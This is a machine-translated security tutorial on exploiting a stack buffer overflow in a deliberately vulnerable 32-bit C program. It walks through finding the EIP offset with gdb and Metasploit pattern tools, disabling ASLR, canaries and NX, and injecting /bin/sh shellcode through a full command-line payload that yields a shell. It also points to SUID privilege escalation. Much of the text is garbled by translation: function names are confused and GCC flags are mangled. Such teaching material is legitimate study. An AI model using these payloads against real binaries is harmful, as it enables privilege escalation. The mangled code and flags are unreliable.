BY YAGO GUTIERREZ

My name is overflow, buffer overflow

My name is overflow, buffer overflow

In principle it is already clear how we get control program flow leveraging a script out of bounds. Let’s see how the stack is for a function like yesterday

#include <stdio.h>
#include <string.h>

void print(char* arg)
{
char buf[128];
strcpy(buf, arg);
printf(“%sn”, buf);
}

int print(int argc, char** argv)
{
if(argc < 2) return 1;
imprimir(argv[1]);
return 0;
}

Ahem, please put something that we understand better

<print>:
push   ebp
mov    ebp,esp
push   ebx
sub    esp,0x84
call   450 <__x86.get_pc_thunk.bx>
add    ebx,0x1aa8
sub    esp,0x8
push   DWORD PTR [ebp+0x8]
lea    eax,[ebp-0x88]
push   eax
call   3d0 <[email protected]>
add    esp,0x10
sub    esp,0xc
lea    eax,[ebp-0x88]
push   eax
call   3e0 <[email protected]>
add    esp,0x10
nop
mov    ebx,DWORD PTR [ebp-0x4]
leave
ret

As we see reality is dirtier than it looks. This would be the stack just after the execution of the sub esp, 0x84, ie after finishing the prologue.

 

+-----------------------------+
|   Stack de la func caller   |
+-----------------------------+
|          char* arg          | Arguments of the ejem cdecl function
+-----------------------------+
|        EIP guardado         | Objetive
+-----------------------------+
|        EBP guardado         |
+-----------------------------+ <- EBP
|             ...             |
+-----------------------------+
|       buf (128 bytes)       |
+-----------------------------+
|             ...             |
+-----------------------------+ <- ESP

I think it has become very clear that our goal is to humiliate kept stepping on the EIP, also could use the saved EBP manipulation, but that technique see (not much) later, mainly in the vulns off-by-one. I hope the reader clearly appreciate that strcpy () starts writing in buf, so to speak form at the bottom of it, writing being “up”. Labeled with ellipses fields represent in the stack not only are local variables, but also (as shown in the assembly code) other program data itself does not interest us calculate how much take that data and we do not care, although we consider them to know how much padding we must introduce before touching EIP (EIP remember that we want to put a specific address). I personally use the following method (is that I am doing things manually) will introduce A’s to fill buf (128), and then will put in groups of 4 identical characters, something like this: Ax128 + BBBB + CCCC + DDDD from so that when gdb see that he has broken, for example, when trying to access 0x44444444, as the 0x44 character ‘D’ indicates that it is necessary to introduce fill 128 bytes of buf more than 8 bytes, with the following 4 those who tread EIP. Let’s practice it:

(gdb) run `perl -e 'print "A"x128'`BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Starting program: /home/arget/vuln `perl -e 'print "A"x128'`BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()

Breaking in 0x45454545 means that EIP is “EEEE”, so to get to step EIP must introduce 128 + 3 * 4 = 140. Let’s check EIP introducing specific bytes, “ARGT”
(gdb) run `perl -e ‘print “A”x140’`ARGT
Starting program: /home/arget/vuln `perl -e ‘print “A”x140’`ARGT
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGT

Program received signal SIGSEGV, Segmentation fault.
0x54475241 in ?? ()

We see that EIP contains 0x54475241, which is (little endian…) 41524754, which corresponds precisely with “ARGT” We managed to put in EIP arbitrary “direction”.

Obtaining this information, you can be accelerated with frameworks such as Metasploit module with the pattern:

$ /opt/metasploit/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

This creates a chain module deterministically of any length so that four characters followed never repeated. Using the -l parameter will indicate the length we want, we must be guided by the size of the stack frame we see in the asm code. Now we put that string in the program:

(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/arget/vuln Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

Breaks when accessing 0x37654136, had a big endian 36 41 65 37 and converted into ASCII characters (asciitohex.com It is a good tool, or you can always use a -e echo “x36x41x65x37” or python/perl one-line or even a miss 36416537 | xxd -PS -r) turns out to be 6Ae7 and employ the pattern_offset Metasploit module for the exact offset within the chain we were provided:

$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 6Ae7
[*] Exact match at offset 140

Confirming what we already knew, that there are 140 bytes to the EIP saved.

Once you undoubtedly possess control program flow must tell you what to do, this is possibly the most exciting part, although we now remain in the fold of 1996, somewhere must start, and it will be first without face protection. The prefer any exploitation start it first for Linux, Windows and expand into better stay sane as long as possible, and it turns out that Windows is exploiting many times the best way to the psychiatric. Additionally, I ask the reader not it stays in the practices of this “course”, you need to take ease, each binary can be exploited generally in various ways, and can sometimes be interesting excessively complicated, in Internet is also easy to find many CTFs of exercises without stopping, a good example is exploit-exercises.com.

There is also a lot of literature out there (I grew up as exploiter reading (almost) all articles SET, Although no point of comparison with phrack), We have a good example in UAD.

 

Anyway, let’s get in position, back in 1996, yet there was no ASLR (or PaX) sudo sysctl -w kernel.randomize_va_space = 0) or were implementing compilers code improvements (GCC -D_FORTIFY_SOURCE parameter = 0) nor was the concept of canary or other protective stack (GCC parameter -fno-stack-protector), nor was there D.E.P (NX/W^X/ExecShield/PaX/etc) (-z execstack parameter GCC) nor executables independent position They were too frequent (GCC parameters -no-foot -fno-ft), it was not uncommon to find binaries full RELRO (And nowadays GCC not have it by default XD) and also machines 64-bit will be more of a project (GCC parameter -m32). If you want to enter further into the time you can always consult the wikipedia.

I explain that I’ve put in the previous paragraph was bracketed to indicate that it is necessary to use it to disable each protection measure. While most are parameters for GCC, the first is a command to disable ASLR, which is necessary before starting to run the examples. Once you’re done with exploiting run sudo sysctl -w remember kernel.randomize_va_space = 2, since it is a very important safety measure that should not be disabled (although this parameter is reset would reset) .Prosigamos, compile the vulnerable code we have viewed:

$ gcc vuln.c -o vuln -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack -m32 -no-pie -fno-pie

And now, as we have seen, we calculate the filling we need to EIP saved (it is therefore necessary we have added several compilation options, which can drastically alter the behavior of the program).

$ /opt/metasploit/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

$ gdb -q vuln
Reading symbols from vuln…(no debugging symbols found)…done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/arget/vuln Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb) quit
A debugging session is active.

Inferior 1 [process 7579] will be killed.

Quit anyway? (y or n) y

$ echo -e “x36x41x65x37”
6Ae7

$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 6Ae7
[*] Exact match at offset 140

 

Now what we do is introduce machine code that performs the actions we want, for example, run /bin/sh for a shell. This code is called shellcode, precisely because it is a code that usually get a shell. On the Internet there are numerous shellcodes that can be used (yes, you should always verify that it does what it claims to do, before using it), but in the next episode we will see how to build a good shellcode for every occasion, no beauty want anyone programming in asm miss.

Anyway, for now we better this shellcode

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

We can assemble with nasm (nasm -o sc.asm sc.bin is necessary to add at the beginning a line “BIT 32” to indicate that the assembly as a 32-bit code) .We can get the assembly opcodes (opcode is the value number (usually in hex) corresponding to an assembler instruction, ie machine language) by xxd sc.bin.

Well, the shellcode should have no 0x00 because strcpy () finishes copying to find that value, and made this shellcode is designed to avoid them.
The shellcode it will place at the beginning of buf, so now we need to get the address of buf, evidently by gdb:

(gdb) disas print 
Dump of assembler code for function print:
   0x080484c2 <+0>:     push   %ebp
   0x080484c3 <+1>:     mov    %esp,%ebp
   0x080484c5 <+3>:     sub    $0x88,%esp
   0x080484cb <+9>:     sub    $0x8,%esp
   0x080484ce <+12>:    pushl  0x8(%ebp)
   0x080484d1 <+15>:    lea    -0x88(%ebp),%eax
   0x080484d7 <+21>:    push   %eax
   0x080484d8 <+22>:    call   0x8048370 <[email protected]>
   0x080484dd <+27>:    add    $0x10,%esp
   0x080484e0 <+30>:    sub    $0xc,%esp
   0x080484e3 <+33>:    lea    -0x88(%ebp),%eax
   0x080484e9 <+39>:    push   %eax
   0x080484ea <+40>:    call   0x8048380 <[email protected]>
   0x080484ef <+45>:    add    $0x10,%esp
   0x080484f2 <+48>:    nop
   0x080484f3 <+49>:    leave  
   0x080484f4 <+50>:    ret    
End of assembler dump.

Observe the code of print(). After executing strcp () must be in the stack and data we provide. Hence we place a breakpoint (a point where the program stops until we give the order to continue).

(gdb) br *print +27
Breakpoint 1 at 0x80484dd
Placed at the breakpoint.

(gdb) run `perl -e ‘print “A”x144’`
Starting program: /home/arget/vuln `perl -e ‘print “A”x144’`

Breakpoint 1, 0x080484dd in print ()
We proceed to run it with the same amount of bytes that will put him (addresses vary depending on the size of the arguments passed to the program) .The execution stops at the breakpoint we had placed and can analyze the situation

(gdb) x/16x $esp
0xffffd1e0:     0xffffd1f0      0xffffd4d2      0xf7e5f549      0x000000c2
0xffffd1f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd200:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd210:     0x41414141      0x41414141      0x41414141      0x41414141

We found that from 0xffffd1f0 begins our fruit. So if we put the 0xffffd1f0 address in EIP, will proceed to execute our shellcode (because there you will place). Do not forget to adjust the size of the filling we put depending on the size of the shellcode (in our case 23). [The attentive reader will have appreciated that where points esp still remains the direction of our buf, is the argument passed to strcpy(), and the next address in the stack corresponds to the argument to main() (which is obtained as the argument of print ())]

(gdb) run `cat sc.o``perl -e 'print "A"x(140-23) . "xf0xd1xffxff"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/arget/vuln `cat sc.o``perl -e 'print "A"x(140-23) . "xf0xd1xffxff"'`

Breakpoint 1, 0x080484dd in imprimir ()
(gdb) c
Continuing.
1�Ph//shh/bin��PS���
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
process 13260 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need “set solib-search-path” or “set sysroot”?
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
sh-4.4$ whoami
arget
sh-4.4$

Now we proceed to try out the debugger

$ /home/arget/vuln `cat sc.o``perl -e 'print "A"x(140-23) . "xf0xd1xffxff"'`
1�Ph//shh/bin��PS���
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Segmentation fault (`core' generado)

For that when executed in gdb, environment variables (which are also in the stack, as are passed to the program parameters) vary, in particular varies the variable _ yes, a variable which is an underscore. This variable contains the name that the program has been executed by the command env can see that the variable _ is set to /usr/bin/env (env shows that the variable “_” from its own stack). During the execution of a program in gdb this variable assumes the value “/usr/bin/gdb” (probably because it inherits all environment variables gdb) as can be seen in the same gdb using the x command

$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) br *main
Breakpoint 1 at 0x80484f5
(gdb) run
Starting program: /home/arget/vuln

Breakpoint 1, 0x080484f5 in main ()
(gdb) x/1024s $esp
0xffffd34c: “A36133536701”
0xffffd352: “”
0xffffd353: “”
[…]
0xffffdb4f: “XDG_MENU_PREFIX=gnome-”
0xffffdb66: “_=/usr/bin/gdb” <<<<<<
0xffffdb75: “LANG=es_ES.UTF-8”

While when the program is executed by bash it does not.

$ cat a.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
    printf("%sn", getenv("_"));
    return 0;
}

$ gcc a.c -o a

$ ./a
./a

$ /home/arget/a
/home/arget/a

$ /home/arget/a asd
/home/arget/a

$ /home/arget/../arget/a asd
/home/arget/../arget/a

You can see that through programs such as ltrace and strace occurs as in gdb, I guess they just spend their own environment variables to the program they are debugging. I urge the curious to investigate containing the above stack of main () addresses, can be illustrative.

In any case one way to avoid problems is to run the program with a null environment. But this is not always possible … Keep in mind that not only the variable “_” modifies the stack, gdb also adds two environment variables that need to be removed by unset unset environment LINES and COLUMNS environment. Sometimes this is enough to get the address, but if not, we must now adjust the difference between variables _’s. Anyway, I have not found a way to accurately calculate the exact address, sometimes is arranged by subtracting the difference between the lengths of names to the address on other occasions say that this is something hazardous. You should spend time to investigate this issue because it is not something extremely fascinating and practical,

Anyway

$ /home/arget/vuln `cat sc.o``perl -e 'print "A"x(140-23) . "x10xd2xffxff"'`
1�Ph//shh/bin��PS���
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ���
sh-4.4$ whoami
arget
sh-4.4$

A good question is what use is getting a program that already do what you control is not intended to do. I really do not have much, just for practice to bring it to an environment where it does make sense, as a binary with the SUID bit, thus privilege elevation would be obtained. Many methods employ elevation of privilege vulnerabilities in binary as sudo or passwd.

It’s time to go saying goodbye, the next time we see the exploitation with the occasional protection. Certainly something much more interesting.

Yago Gutierrez
[email protected]
Start NOW mitigating risks